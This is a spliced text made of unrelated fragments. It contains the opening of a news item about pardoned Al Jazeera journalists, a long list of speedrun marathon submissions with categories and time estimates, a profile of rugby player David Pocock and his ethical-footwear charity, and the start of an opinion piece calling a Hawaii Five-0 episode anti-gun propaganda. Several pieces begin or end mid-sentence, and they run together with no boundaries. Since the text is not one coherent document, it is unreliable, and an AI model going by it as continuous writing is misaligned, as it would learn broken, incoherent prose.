Two Al Jazeera journalists jailed in Egypt for broadcasting false news have been freed after receiving pardons from President Abdul Fattah al-Sisi.
Mohammed Fahmy, a Canadian, and Baher |
itemystery any% normal
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Rocket: Robot on Wheels
Nintendo 64 mashy 100% showcases all of the wacky level layouts while traversing them with inventive platforming and creative routing. Lots of animation cancelling helps to keep the pace flowing smoothly throughout. This is also the only category that actually shows off the true ending and reaches the credits. 100%
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Banjo-Tooie
Nintendo 64 Madtaz64 All Puzzles is a “middle” category that shows off a unique route and tricks that set it apart from No DCW. Most distinctly we use DCW (Delayed Cutscene Warp) to warp to the room right before the boss early in order to skip Tower of Tragedy and get clockworks earlier then intended to do tricks like entering TDL Early. In All Bosses... well, you fight all the bosses in the game, only needing 45 Jiggies since you can skip opening both the 55 door by clipping through it and the 70 door using DCW Low%
0 - EST: 1:05:00 All Bosses
0 - EST: 2:30:00 All Jiggywiggy Puzzles
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Kingdom Hearts Birth by Sleep Final Mix HD
Playstation 4 RebelDragon95 Birth by Sleep is one of the shortest Kingdom Hearts games utilising very optimal command deck setups and optimal strats to quickly finish the game. Critical uses the very broken Exp Zero ability to basically destroy everything in its path making for a very flashy and very interesting run. Making a great watch. Beginner uses Fire based commands to blast through the game. Much more goes into a Beginner run making it a great watch in its own right. Terra Beginner Any%
0 - EST: 1:00:00 Ventus Beginner Any%
0 - EST: 1:00:00 Ventus Critical Level 1 Any%
0 - EST: 1:00:00 Aqua Critical Level 1 Any%
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Fe
PC CorundumCore Fe is a 3D platformer with a great art style and interesting mechanics. The All Songs category is the closest category to a casual playthrough, but there are still plenty of interesting movement tricks and skips in the run. The All Abilities category features more crazy tricks using the new movement abilities not collected in All Songs, including post-game abilities that break the game. The game has been run at multiple smaller marathons by multiple runners and has performed well each time. All Abilities
0 - EST: 1:30:00 All Songs
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Castlevania II: Simon's Quest
NES Bdot_Reality CV2 is a great game that usually gets a bad rap at marathons. There is some RNG, and potential for soft lock as we have seen in the past. But with careful play and back up strats these things can be avoided. Also as a race, we have far less potential for 2 runs to go bad than one. JC suggested this race to me and how could I say no? Let's make it happen doods. Willing to run this alone with an FDS incentive or with JC as a race. Any% (Race with JC583)
0 - EST: 0:40:00 Any%
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Old School RuneScape
PC aeiou Coming off of a hit showing at the WWJSRFHD marathon on the North American Speedruners Assembly channel, Old School RuneScape speedruns are ripe for showcasing. Come see a speedrunner run laps around the noobs on tutorial island. Witness the quests that took you weeks to complete as a child be sequence broken and crushed in one sitting. The game offers a nostalgia bomb for general viewers, and a nuanced and technical speedrun that could surprise even the most seasoned runner. F2P Ironman Champion's Guild %
0 - EST: 1:50:00 Tutorial Island
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Star Fox
SNES Skybilz This will be a two team relay race. Two runners will first run Star Fox Level 1 Warpless followed by two runners that will run Star Fox any%. Star Fox is the first 3D Nintendo game and Star Fox 64 is its remake. Both games feature piloting an Arwing through the Lylat System and engaging in atmospheric and deep space combat. Both runs focus on fast and precise flight (boosting almost continuously), fast boss kills, and lag reduction. Other proposed run is solo. Level 1 Warpless Solo
0 - EST: 0:27:00 Level 1 Warpless - any% Relay
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Silent Hill 2
PC Ecdycis Assuming my run at GDQx is a success showcasing Silent Hill 2 at AGDQ is a perfect followup. The game has seen new tricks and route changes since it's previous GDQ appearance such as an Out of Bounds and Normal/Normal shows the games fights in all their glory. Depending on which incentive ending is chosen for GDQx this can be an opportunity to show the one not chosen which would be UFO or Dog Ending as an additional incentive Normal/Normal
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Super Mario World
SNES rezephos no, my grandma isn't going. Small Only
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Michael Jackson's Moonwalker
Sega Genesis halq MJs Moonwalker is a beat 'em up/platformer hybrid released for the Sega Genesis in the 90s. The premise is rescuing lost children that spawn in set locations unique to every level. The run utilizes precise routing, mid-high APM movement and optimization of defeating bosses to "Beat It." any% easy
0 - EST: 0:25:00 Any% Normal
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Scooby Doo and the Cyber Chase
PS2 Boog2TheMan Scooby-Doo and the Cyber Chase is a 3D Platformer that is somewhat based off the movie of it you play as Scooby and Shaggy and go to numerous Location like Rome and Japan and fight bosses in there respective locations and up to the end when they kill the Phantom Viruses and exit the game Any%
0 - EST: 1:05:00
Secret of Evermore
Super Nintendo Solarcell007 Secret of Evermore has been in SGDQ2013 and AGDQ2018. I am currently 2nd place in this category, and would love a chance to show off even more tricks that have been found since it's last showing. The game is FULL of glitches, so there is never a dull moment. Even if I do not get selected for this as a solo run, myself and colinbolts would love to do a race of this game. A race would definitely be tight throughout the run, so there is little chance of a blowout. any% No Verminator Skip Race
0 - EST: 1:25:00 any% No Verminator Skip
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Metroid Fusion
GBA (Gameboy Player) JRP2234 100% is a category that requires a lot of skill and execution to do fast making a very tough category to achieve good times in. It features fast boss fights and cool strats and my favourite part clean up! I am open to race cscottyw Memory Corruption is a brand new category with... get this an ACTUAL SEQUENCE BREAK involving major glitches! It involves corrupting the ram to re spawn at end game after reloading a save from a death. any% is like 100% but I forget to pick up stuff. Any% NMC
0 - EST: 1:20:00 100% Race
0 - EST: 1:45:00 100%
0 - EST: 1:45:00 Any% Memory Corruption
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The Fairly Odd Parents: Shadow Showdown
GameCube Mildew This run has a lot of movement tech and large sequence breaks that are pretty entertaining to watch. There is even a skip that skips 2 entire levels towards the end of the game! any%
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Dragon Ball Z: Budokai
Nintendo Gamecube KDavisSRL Dragon Ball Z Budokai is a 1v1 fighting game that follows the story of Dragon Ball Z up to the end of the Cell Saga. The run is execution heavy and fast paced, with fights usually only lasting close to a minute. RNG plays a factor in every fight depending on what patterns I get from the opponent, but I have enough experience to where I know how to handle the bad luck. The run is also short and could slot into just about any time frame. Any %
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Legacy of the Wizard
NES Dragondarch Known in Japan as Dragon Slayer 4: Drasle Family, Legacy of the Wizard features a massive dungeon, and very little info to help a new player figure out where to go. The speedrun relies on some heavy manipulation to force scrolls to drop from enemies, which increase movement speed, up to a maximum of 6x normal walking speed. While the manipulation is precise, most of it is not overly so, and can be reproduced without much issue. Don't blink! Any%
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Sonic Adventure DX : Director's Cut
PC (Disc) JerKro Big's big return to the stage! Come watch everyone's favorite big purple cat try to chase his polliwog pal on his fishing adventure! Featuring new speedtech with the jumps and quick reactions to RNG, Big the Cat's Story is the perfect addition to any speedrun marathon! Big The Cat's Story
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Astro Boy: Omega Factor
GBA Drakodan Omega Factor is Astro Boy's most popular videogame outing, and is a not-so-typical beat-em-up style game. Gameplay consists largely of clearing enemy waves as quickly as possible, whilst choosing the optimal upgrade route to enhance Astro's abilities to insane heights early on. Focus on firepower, mobility or survivability? Maybe a stat you wouldn't expect! No glitches or tricks to speak of, just total focus on optimisations and keeping a consistent momentum going. Complete Omega Factor (100%)
0 - EST: 1:25:00 True Ending
0 - EST: 1:25:00 Birth (any%)
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Undertale
PC Cookiepocalypse The neutral ending showcases all of the major skips and tricks in the run while cutting out many of the slower paced sequences. This is also Undertale's most optimized and run category, and it's basically what an any% category would be for Undertale. Possible race if anyone else is willing Neutral Ending
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Halo: Reach
Xbox One WoLfy Halo: Reach was at AGDQ 2012, trying to make its return with MUCH better optimized combat, and new found strategies. Over the past 4 years, this run went down from 2hrs to 1:34 range. Containing tricks that make your nostalgic mind just be amazed at how easy the "hardest" parts of this game can be. A huge big OoB to start in the beginning, following with eliminating enemies fast as possible by abusing load triggers that were not suppose to be intended and spawnkilling. This is done on Legendary. Legendary Race with Pedrogas
0 - EST: 1:50:00 Legendary
0 - EST: 1:50:00 Legendary Co-op with Pedrogas
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Sonic Rush
Nintendo DS Kirbymastah This category goes through all the stages and bosses in order. This is the first of the Rush Trilogy, which introduces the boost meter and has a plethora of interesting physics quirks to commentate on. Sonic and Blaze have significant gameplay differences (Sonic is faster, Blaze has better tricks & hovering). High estimate due to significant luck variance with bosses. Sonic vs Blaze makes for a strong bid war. Can do a race if other runners submit. I prefer running on my own 3DS with a capture. All Stages (Blaze)
0 - EST: 0:50:00 All Stages (Sonic)
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Bomberman Fantasy Race
PS1 SpectreXS Matching the MK64 & CTR era, you compete with Bomberman characters using their Louies and Tirras over 8 unique levels! Any%
0 - EST: 0:25:00 100% No GB Transfer
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Quest for Glory Collection
PC misterprmiller 5 game gauntlet, with an export/import system which carries the character through from game 1 to game 5. Normally, each game runs anywhere from 12 to 20 hours of gameplay for Any%. All 5 games will be completed in well under 2 hours total. This series has had substantial improvements since it was run at RPGLB2016, to the tune of about 20 minutes knocked-off and the discovery of new mega-skips. Any% Race (w/ davidtki)
0 - EST: 1:40:00 Any% Wizard
0 - EST: 1:20:00 Any% Fighter
0 - EST: 1:40:00 Any% Thief
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Super Mario 63
PC AprilSR SM63 is the most popular Mario fangame run. It consists of levels based on SM64, with FLUDD and several glitches used for fast-paced movement. A glitch called the "Star Cancel" is used, which makes the gameplay act similarly to the popular Super Mario 64 Nonstop hack. 100% consists of collecting all 64 Shines and Star Coins, while No Major Skips only gets 33 Shines, the amount required to beat the game without using castle shortcuts. Any% uses these shortcuts to go directly to the last level. Any%
0 - EST: 0:10:00 No Major Skips
0 - EST: 0:35:00 100%
0 - EST: 1:10:00
Sonic 3D Blast
Genesis / Saturn Big Jon Let's take a Sonic game beyond 2D and put it in 3D, surely we'll have a "BLAST" - this isometric experience that features an amazing soundtrack to jam to while collecting the those pesky little birds across Flickies Island to eventually put Dr. Robotonik in his place... Not seen since literally the FIRST SGDQ, this run is being submitted to show off the any% genesis version, or more desired, the Saturn BEST ENDING w/ the Sonic 2 inspired godlike-music special stages! Gotta go Fast Any % (Saturn)
0 - EST: 1:05:00 Any % (Genesis)
0 - EST: 0:40:00 Best Ending % (Genesis)
0 - EST: 0:55:00 Best Ending % (Saturn)
0 - EST: 1:25:00
The Legend of Zelda: Ocarina of Time 3D
Nintendo 3DS benstephens56 My two favorite things are this game and putting on a good show. What more could you need? But really, this game is good. It's overall very difficult but also very flashy and exciting. Some new and exciting breakthrough have been happening recently but they are still being figured out. All Dungeons
0 - EST: 2:00:00 Medallions/Stones/Trials
0 - EST: 2:25:00 100%
0 - EST: 4:35:00
Pikmin 2
Nintendo GameCube Kap Pay Off Debt is the "any%" of Pikmin 2, which is centered around collecting treasures. Since there is small variability in the location of the treasures, routing has to be done on the fly; players have to handle a wide variety of hazards while maximizing efficiency. No two runs are exactly alike. Combining such variety with sequence breaks and exploits keeps the run fast paced from location to location. The speedrun remains accessible to captivate a wide audience from veterans to newcomers. Pay Off Debt
0 - EST: 1:55:00
David Crane's A Boy and His Blob
NES fcoughlin A Boy and His Blob is an "awful", yet memorable, platform-puzzler, known for poor controls and a blob who transforms himself by consuming jelly beans. The any% run was done at AGDQ 2014, but this submission would allow viewers to see the full game in a mere 11 minutes. A possible donation incentive can be the any% run, which can be safely done in a 2 minute window. 100%
0 - EST: 0:11:00
Dirt Rally
PC Candycorn_Rhino Rallying is a high paced country roads time trial race where the objective is to reach point A to point B. Dirt Rally shows the high paced, dangerous sport where each turn and corner could mean disaster that can make anyone monkaS just by watching. There are other courses with different surfaces, I'll be defaulting with Finland as it's my opinion the most dangerous track with it's high speed jumps. All-Stages means to do all 12 of the stages the course contains with the 2010s class cars. Wales All-Stages
0 - EST: 1:00:00 Germany All-Stages
0 - EST: 1:00:00 Monaco All-Stages
0 - EST: 1:05:00 Finland All-Stages
0 - EST: 1:10:00
Urban Yeti!
Gameboy Advance PeteDorr The premise is simple. Living in the city, Urban Yeti desires a home and family, so he sets out to find a suitable mate. To impress her, he goes on an unforgettable journey that sees him getting a job at a soup kitchen, wrangling lost chickens, getting abducted by a UFO, car surfing, and much more. It’s one of the craziest games you never knew existed. Get ready to Yeti! Any%
0 - EST: 0:29:00
Frogger (He's Back!)
PS2 Cane This submission is back. Possible any% race with SSBMstuff. all gold frogs
0 - EST: 0:40:00 any%
0 - EST: 0:16:00
Castlevania: Symphony of the Night
Xbox 360 Mecha Richter Because SotN, etc. With the announcement that Richter would be appearing as a playable character (along with his apprentice Simon), SotN Richter mode has seen some action lately. I can do either any% or all bosses like I have in the past. Richter All Bosses
0 - EST: 0:28:00 Richter Any%
0 - EST: 0:07:00
The Evil Within
PC Jetabb The Executioner is add-on content for the The Evil Within, a first-person survival horror game, where the player takes on the role of The Keeper. Gameplay consists of a series of boss fights and taking them out as quickly as possible. In New Game, only the starting weapons and a set of movement upgrades are used throughout the run. The New Game+ category utilizes all character upgrades and weapons to complete the game. Note: there is an option in Settings to reduce graphic content. New Game+
0 - EST: 0:21:00 The Executioner DLC: New Game
0 - EST: 0:26:00
Super Castlevania IV
Super Nintendo just_defend I would like to reprise my attempt at one of the toughest castlevania speedruns there is. Simon will need plenty of boomerangs and well-timed jumps to overcome the increased number of enemies as well as their additional health buff. Hard Mode
0 - EST: 0:38:00
Petz: Catz/Dogz 2
Playstation 3 / Wii U Professor_palmer Petz: Catz/Dogz 2 is an action adventure game where you play entirely as a cat or dog. Donations can decide what copy of the game (they're both identical). Solving mysteries, completing quests, mini-games, and finishing it up with two HILARIOUS boss fights. You have to rebuild your town and defeat the evil Wolf that wants to enslave all the Catz and Dogz. 100% marathon safe, tons of hilarious moments, and great donation incentives! I am WR holder and router of this game. Any%
0 - EST: 1:50:00
Mega Man 2
NES cyghfer Mega Man 2 Any% Difficult is a classic speedrun with flashy tricks and impressive boss fights. I am submitting this as a race vs. coolkid. As the holders of the top 2 times in this category, separated by only 0.2 seconds, we have pushed this game to its absolute limit. We will bring the hype in a head to head showdown. Any% Difficult (Rockman 2)
0 - EST: 0:32:00
Ducktales 2
NES garadas21 What's the best way to celebrate the great season finale of the wonderful 2017 Ducktales reboot? A Ducktales 2 speedrun of course! I can run both any% (which features some new strats) and the Good Ending category that involves getting every possible map piece and upgrade to unlock the super secret final level. Good ending can also be a donation incentive category. Pogo jumping, precise platforming and frame perfect skips for this great sequel. Ducktales! Woo-hoo! Good Ending (difficult)
0 - EST: 0:17:00 any%
0 - EST: 0:11:00
Spelunky HD
PC meowmixmix Because Spelunky is a randomly generated game in nature, I have chosen two marathon safe categories I would love to show off. Solo Seeded Eggplant% is a category that has never been shown at a GDQ before. Eggplant% has built a reputation for itself even among casual players. This category shows off lesser known strats, unique areas, and easter eggs in the game. All Shortcuts + Olmec is a fan favorite that showcases much of the early progression in the game. All Shortcuts + Olmec
0 - EST: 0:30:00 Seeded Solo Eggplant%
0 - EST: 0:20:00
Odin Sphere: Leifthrasir
PlayStation 4 Witchs Hex An improved remake of the cult hit, Odin Sphere, Leifthrasir combines stunning visuals with in-depth and fluid combat. With a wide range of attack, defense, and movement options, as well as potion effects and skills, every screen is unique and fun. Join Gwendolyn in her quest to make her dad proud by juggling everything in her path, Cornelius in his to break a curse by keeping every foe planted on the ground, or Mercedes in hers to fly fast and lead the fairies. Ragnarok ain't causing itself! Mercedes Any% (Easy)
0 - EST: 1:00:00 Cornelius Any% (Easy)
0 - EST: 1:20:00 Gwendolyn Any% (Easy)
0 - EST: 1:12:00
Super Mario Sunshine
Nintendo Wii PangaeaPanga Lockout bingo is a variant of regular bingo, where instead of completing a row, the objective is to score 13 goals before your opponents. Every single goal on the board is fair game, and once the goal is selected, the other team can no longer get that point. This makes lockout bingo a chess-like strategy match that has teams and audiences on their toes until the very end. This match will include Bounceyboy, PangaeaPanga, SniperKing, and TonesBalones, separated into equal teams. 2v2 Lockout Bingo
0 - EST: 1:00:00
Operation Logic Bomb
Super Nintendo JackimusWedge Operation Logic bomb is a relatively unknown but fun and quick top down shooter. Submitting any% as a race with CNeY and TheShimmeringKirin. Apologies for lack of a proper submission video, life is busy Any% Race
0 - EST: 0:25:00 Any%
0 - EST: 0:25:00
Bloodstained: Curse of the Moon
PC Jaguar King This game takes its inspiration from Castlevania 3: Dracula's Curse, where you play as Zangetsu in his quest to slay demons, you recruit three other character on the way, Miriam, Alfred and Gebel. The Category of interest here is Normal Nightmare which is in my opinion the best way to showcase this game at GDQ. This game is like Ghost n Goblins in order to see the full experience you have to beat it twice, Normal followed by Nightmare. trust me it will be worth it. Any% Normal Nightmare.
0 - EST: 1:10:00 Any% Nightmare Mode
0 - EST: 0:30:00 Any% Normal Mode
0 - EST: 0:35:00
Donkey Kong Country 3: Dixie Kong's Double Trouble
SNES or Wii VC RaikouRider The only main category of the SNES DKC trilogy yet to be featured at a GDQ, DKC3 103% entails collecting all major pickups: All Bonus Coins, DK Coins, and Banana Birds. Sui_MinD and I are offering to showcase the series' co-op mode, which has also never been seen before. One player controls each Kong, meaning damage boosting requires careful coordination between runners. 103%
0 - EST: 2:08:00 103% Two Player Team
0 - EST: 2:08:00
Tony Hawk's Underground
PC ThePackle THUG1 has gone through a lot of changes since it was last shown at a GDQ. With new tricks, optimizations, routes, and glitches, the route is a lot crazier, faster, and more fun as a whole. Any% Sick is the hardest category in the game. It is made even tougher with the new tricks introduced making score optimizations a lot more difficult! Any% Normal No Warp is a lot easier. It is also more reminiscent of how THPS4 was played out with us not being able to warp to goals. Any% Sick No Warp
0 - EST: 0:55:00 Any% Beginner
0 - EST: 0:37:00 Any% Normal No Warp
0 - EST: 0:45:00 Any% Sick
0 - EST: 0:50:00
Ducktales: Remastered
WiiU DukeFireBird Ducktales! Who-Hoo. A game from the old NES era remade for the newer generation of consoles with updated music, and graphics. 2 new levels not in the NES version also were added. Lets see if we can be smarter than the smarties and tougher than the toughies any%
0 - EST: 0:45:00
The Last of Us: Left Behind
PS4 AnthonyCaliber Left Behind is the single player DLC to The Last of Us. It features Ellie travelling throughout a mall looking for supplies to heal a mortally wounded Joel, as well as flashbacks to Ellie and her friend Riley showing how they eventually got infected. Almost all of this however is skipped thanks to a glitch right at the start that allows you yo go from chapter 1 to chapter 5 (there are only 6 chapters). This glitch takes a 2.5 hour game and condenses it into around 5 and a half minutes. Any% PS4
0 - EST: 0:08:00
The Legend of Zelda: Breath of the Wild
Nintendo Switch Zant Breath of the Wild is a whole new direction for the Zelda series, featuring an open aired world, and an amazing physics engine that leads to tons of multiplicative gameplay experiences. After having runs at previous GDQs, 2018 has been a massive year for this game, with the discovery of tricks such as Stasis Resets, Super Launches, and now Shield Skew Clipping. These tricks highlight just how amazing the physics in this game are, and show mind blowing examples that it allows in speedruns. Master Sword (No Amiibo)
0 - EST: 2:18:00 All Shrines (No Amiibo)
0 - EST: 8:35:00 All Main Quests (No Amiibo)
0 - EST: 3:48:00
Resident Evil 2
GameCube KidDynamite Resident Evil 2 is an amazing game with a huge following. Arguably one of the greatest survival horror games. With the remake being released only two weeks after GDQ, this event would be perfect to showcase the classic which put the genre on the map. Knife only runs of RE2 haven't been to GDQ yet either which would be exciting to see. Leon B Low%
0 - EST: 1:15:00 Claire A Any%
0 - EST: 1:00:00 Leon A Any%
0 - EST: 0:55:00 Claire B Low% (Knife Only)
0 - EST: 1:05:00
The Legend of Zelda: Ocarina of Time
Nintendo 64 spikevegeta2 In 2018 Zelda: OOT Rando has taken the speedrunning world by storm. Good progression through a given seed will require great knowledge of the game, quick boss strategies, nearly endless back-up strats for each room based on your item set-up and even a surprising amount of sequence breaking tricks OOT is known for. By doing this as a co-op (w/Ivan), we will greatly reduce the length of the seed, and will be able to project to the audience our thought process (willing to make a race as well) Co-op Item Randomizer
0 - EST: 4:00:00
Zelda: Parallel Worlds
Super Nintendo MikeKanis Parallel Worlds is commonly considered the best romhack of A Link to the Past, with an entirely redesigned overworld, redesigned dungeons, new graphics, and vastly increased difficulty. I am requesting 100% to provide a thorough examination of this wonderful hack, which would also provide a good guide/walkthrough to anyone getting lost in their own playthroughs. 100%
0 - EST: 3:45:00
Dino Crisis 2
PS3 WOLFDNC The second installment for the Dino Crisis series. This is a survival game with some action elements. A well acclaimed game that has never been on a GDQ before and I will be providing a well explained run from beginning to end, showing different strategies and routes. Any%
0 - EST: 1:30:00
The Legend of Zelda: Link's Awakening
Nintendo Game Boy MyOhMyke The original release of The Legend of Zelda features a handful of tricks and glitches that are patched out in the remake on Game Boy Color -- some of which became famous when they were featured in Nintendo Power. Screenwarps, Super Jumping, Bomb Glitches, Quick Boss Kills -- this title brings all of the Zelda speedrunning shenanigans other titles are famous for in a pocket-sized package! 100% Reverse Boss Order
0 - EST: 1:05:00
Dragon Quest III (SNES)
SNES cleartonic The renowned competitive RPG speedgame of Japan, DQIII is a game of risk-reward and rolling with what the game gives you, forcing players to think critically and react quickly. With strong dedicated commentary to guide the viewers through Japanese, a race will show off the many highs and lows of what this game can throw at a player. This submission is a race with SUMDeaner, and also a solo submission on an English translation patch, enabling accessibility and incentives at the cost of ~15 min. any% (English)
0 - EST: 3:45:00 any%
0 - EST: 3:30:00
To The Top
PC, HTC Vive trickster00 To The Top is VR platformer with an interesting movement system. The main way of moving involves using your hand to jump and use your head to direct those jumps. In an Any% run the goal is to unlock the final level and reach the finish. Any%
0 - EST: 0:31:00
The Punisher
Sega Genesis Faust4712 Take to the gritty streets of 1993 New York as The Punisher (Frank Castle) on his mission to take down all of the inner city thugs, along with the city's most powerful crime syndicate boss, The Kingpin, in this Capcom beat'em up/arcade port. In this run we will guide Franky Boy through tons of thugs, ninja ladies, robots, and a few others; taking them down with Frank's military training combat skills, his massive horde of weapons, and some glitch moves that make for a fast/fun run. Any%
0 - EST: 0:40:00
Return to Zork
DOS Lizstar Point and click adventure games are a sadly ignored genre for speedruns, which is a shame because there's so much potential! Return to Zork is the first fully visual game from the iconic and classic series of Zork. It's also infamous for being ridiculously unforgiving. Fans of the series who found the quest unbeatable as a kid because they accidentally killed a plant on the first screen will be in awe of the lightning movement, crazy glitches, and large sequence breaks. Any%
0 - EST: 0:28:00 225 Points
0 - EST: 0:40:00
Super Paper Mario
Wii U VC Almo Super Paper Mario, beloved for its wonderful story-telling, is the successor to The Thousand-Year Door. It mirrors TTYD (an RPG with platforming elements) in a way that focuses more on the platforming aspect, with some RPG elements. Making use of an infinite jump technique, this game's time has been pushed lower and lower with implementing more places this infinite jump can be used. Even so, this game is still an extremely consistent run. This would be SPM's debut at an in-person marathon. any%
0 - EST: 4:30:00
Castlevania: Rondo of Blood
Wii Virtual Console Bdot_Reality Rondo of Blood is an amazing game that has graced GDQ before. But as a new speed runner, I have improved the game across the board, now holding 2 World Records in Any% and Maria Only, and 2nd place in 100%. I would love the chance to show off all of the cool movement, techniques and speed strats this game has to offer. And as one of the best classic style Castlevania games ever made, it hasn't gotten the exposure it deserves with limited US release. Maria Only (Race with Komrade and Skavenger216)
0 - EST: 0:20:00 Any%
0 - EST: 0:30:00 100%
0 - EST: 0:50:00
Metroid Fusion
GBA/GBP CScottyW Metroid Fusion is a run of decent length with lots of tight movement, cool strats and fun boss fights. 100% hasn't been shown in a while and the quality of gameplay has really stepped up since then. The new memory corruption category was recently developed in April and features out of bounds movement to corrupt memory values and skip a third of the game. This is the first major sequence break this game has ever seen and would be great to show off in an event. Submitting both of these as a race. 100%
0 - EST: 1:45:00 Any% memory corruption
0 - EST: 0:55:00
Pac-Man World
PlayStation 2 Joester98 PMW showcases a heavy abuse of zigzag throughout the game to gain enormous amounts of speed and skip large chunks of every level, and recent discoveries in all categories have led to improved setups for a number of major and minor skips. Any% illustrates these major skips, while 100% shows nearly every skip in the game and All Levels involves showing off the boss fights, including an extremely challenging and cool 1-cycle on the 2nd boss. Each run makes for a unique and entertaining experience. 100%
1 - EST: 1:25:00 All Levels
0 - EST: 1:00:00 Any%
0 - EST: 0:35:00
Super Mario Bros.: The Lost Levels
SNES RaikouRider The 2D Mario game that took seven years to arrive in the West from Japan, and its tremendous difficulty shows why. A Mario vs. Luigi race would showcase the differences in the two runs. Submitting primarily as a backup runner. D-4 Warpless Race
0 - EST: 0:45:00
Jackal
NES Toad22484 YEAHHH!! Jackal coming back at you but this time we have a partner jeep! Submitting this with Rottdawg in hopes for a blood boiling good co-op run! Very fast paced, fun boss fights and amazing between stage YEAHHH!!'s to get everyone hyped again! Any% Co-op
0 - EST: 0:10:00
My Teacher Is an Alien
PC Kosmic There couldn't possibly be a more entertaining point-and-click speedgame than My Teacher Is an Alien. This game has a hilarious plot, animations, and speed tricks! Finding a strange piece of technology in the hallway at school can only mean that one of your teachers is from another planet. The only reasonable way to find out which one is to push all of them into the school's pool. And all that's left to do after that is board the UFO and save your friends! Submitting as a race with 1ted59. Any%
0 - EST: 0:07:00
Super Mario Bros. 3
NES mitchflowerpower Smb3 is always a fan favorite and is always a delight to see at a gdq. Mario 3 has been insane for 2018 with regarding strats (CRAZY amount) even a new rng manipulation strat. Applying Mario 3 warpless, all forts, or any% no ww will always provide nostalgia and comfort to anyone who is watching. Any% Warpless co-op
0 - EST: 1:05:00 All forts
0 - EST: |
going to take so much money but often it’s very basic things that over here you wouldn’t even think about,” he says, citing a rural health clinic where they built a ward.
“Because there was no real transport, expectant mothers would walk to the clinics two weeks before they were due, and a couple of days after they give birth, walk back home. Because there was no place for them to sleep they had to sleep on the floor, so they were giving birth at home and having complications.
“We heard horrific stories of women going into labour and being put on the back of a donkey cart for 40k. Simply by renovating one room and putting in 20 beds, the births in this clinic have gone form 18 in 12 months to 18 to 20 every month since then.”
There’s more. Three years ago Pocock began painting his football boots black and rejecting financial incentives to wear products as he realised that the manufacturing process was implicitly connected to sweatshop production. What he really desired was footwear (football boots and running shoes) and clothing that were manufactured ethically and he could wear as a player. Hence, in 2011 Heroes Boots was born.
Ultimately, Heroes Boots is striving to produce its own boots and clothing in workers’ co-operatives or fair trade factories, with the profits to assist charities which are endeavouring to bring change for those who are restricted by poverty or face isolation and oppression.
To understand Pocock’s motivation, one needs to know more about his story.
The oldest of three boys (Michael and Stephen are his younger brothers) his father Andy and mother Joan ran a vegetable and flower farm in Zimbabwe which was confiscated in 2001.
They moved to Brisbane in 2002, where his parents started up a similar farm.
None of this would be possible had he not been fortunate enough to play rugby professionally and the attendant profile.
“I started playing at school when I was seven years old and just loved it. Throwing a rugby ball around with my dad since I could remember in the back yard, when I got the chance to play at school I just looked forward to rugby term every year and was pretty good at it.”
He describes the move, though “challenging”, as “a relief in many ways” and a sacrifice by his parents for which he is eternally grateful. Playing rugby in his new home country also helped him make friends and settle in at the Anglican Church Grammar School in Brisbane, where, as in club rugby, he played inside centre outside one Quade Cooper.
“We had a pretty handy team,” he says with wry understatement.
Did he ever know what Cooper was going to do next? “Not most of the time, but it was fun.”
In 2006, Pocock moved to Perth when offered a professional contract by John Mitchell and Western Force. The Australian Rugby Union’s laws prohibited players under the age of 18 from playing senior rugby but, with his parents’ approval, Mitchell played Pocock, then 17, in the Force’s first trial game under the name of another injured player. However, the Australian newspaper carried a picture of Pocock highlighting this illegality, on foot of which the law was eventually changed.
In his recently published autobiography, Openside: My Journey to the Rugby World Cup, he goes into detail about this episode and his family’s move to Australia from Zimbabwe, before revealing the extent of “a stress-related eating disorder” which he traces to that move and which he still manages today.
The book is available on Amazon and can be downloaded on iBooks, though a higher percentage of the royalties go to Pocock and to his charities if it is purchased directly from www.davidpocock.com, www.eightytwentyvision.org, or www.heroesboots.com.
“A lot of people have ribbed me about writing a book at 23, being so young, but I guess I tell my story so far, about growing up in Zimbabwe, and the challenges of moving to Australia and then a lot about the rugby since then and a fair bit about the World Cup.”
All Pocock’s royalties from his book will go to Heroes Boots and EightyTwenty Vision. The road to Heroes Boots was a journey of discovery, inspired in part by friends who started up an ethical shoe company.
“To accept money to wear boots when the people who are making them can hardly afford to feed their families or send them to school, I just decided I couldn’t do that. It wasn’t something I wanted to do and I also wanted to come up with an alternative for people who wanted to buy something that would give their money to people down at the other end of the production system.”
They will have some rugby balls out of production in the next “couple of months” but the technological challenges in actually making boots will be a tougher bridge to cross. It is very much a work in progress.
Pocock is not preachy or holier-than-thou, least of all to team-mates.
“I’ve always been a firm believer is just letting your actions do the preaching,” he says wryly.
“I think it was St Francis of Assisi who said ‘preach at all times and sometimes use words’. I don’t try and heckle or hustle the boys about it. If they ask questions we’ll have a chat and we’ve had some great chats. But generally I don’t try to challenge the guys.”
Aside from his family’s upbringing and support, much of his motivation also comes from a strong faith and, “reading the story of Jesus and realising just how much he cared for people who were oppressed and forgotten, and how much he stood with the poor”.
And then there was his marriage to Emma.
“We work together and I’m part of a little community in Perth and that’s where we’ve talked about a lot of things.”
He would love people to support EightyTwentyVision but, acknowledging that it has its limitations, says: “There are so many things that we can do, as people living in developed nations. Simple things, just in terms of the products we consume, and asking questions about where they come from, because we’re so disconnected from the whole production process.”
He cites the basic example of chocolate, and that product’s inherent problems with child slave labour in west Africa.
“Yet we seldom ask over here (in developed countries) where the chocolate comes from and simply by supporting programmes like Fair Trade can make a difference in these areas and guarantee farmers a fair price. Just by making these small decisions we can exert pressure on big companies to actually changes the lives of many people working in developing nations who are producing the stuff that we enjoy.”
“The huge problems that we’re having around the world, and in Ireland you’d be very familiar with it all, has really put the spotlight on capitalism as we know it, and just how much it favours those who have a lot and makes those who are poor a lot poorer, despite them doing the majority of the work. If people just think about it, we can all play our part in questioning the whole system and finding alternatives to what’s going on at present.”Last Friday's episode of Hawaii Five-0, “Ke Ku ‘Ana,” is full of embarrassing falsehoods and other anti-gun propaganda.
Kyle Kane is a deranged father who blames gun culture for the mass shooting perpetrated by his son, so he holds a room full of hostages at gunpoint to send a message. Left unstated: Kyle’s son obtained his firearm through a straw purchase, a process that is already illegal and carries a sentence of up to ten years in prison and a $250,000 fine for the purchase alone even if the illegally purchased firearm were never used in another crime.
As irrational as Kyle’s rant may be, at least he can claim ignorance. For Detective Danny Williams, there are no convenient excuses. As a law enforcement officer he should know better. Instead, he agrees with the murderer (Kyle had already murdered a social media star famous for his gun collection), explaining that, as a cop, he is also “outraged at how easy it is to get a gun, no questions asked.”
